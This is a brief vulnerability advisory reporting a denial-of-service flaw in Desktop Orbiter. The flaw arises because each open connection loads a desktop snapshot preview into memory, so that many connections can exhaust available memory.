A denial of service vulnerability has been reported for Desktop Orbiter. The vulnerability exists due to the way the application handles connections. Specifically, for every open connection, a snapshot preview of the desktop is loaded into memory. Thus, numerous connections would result in a consumption of all available memory resources.
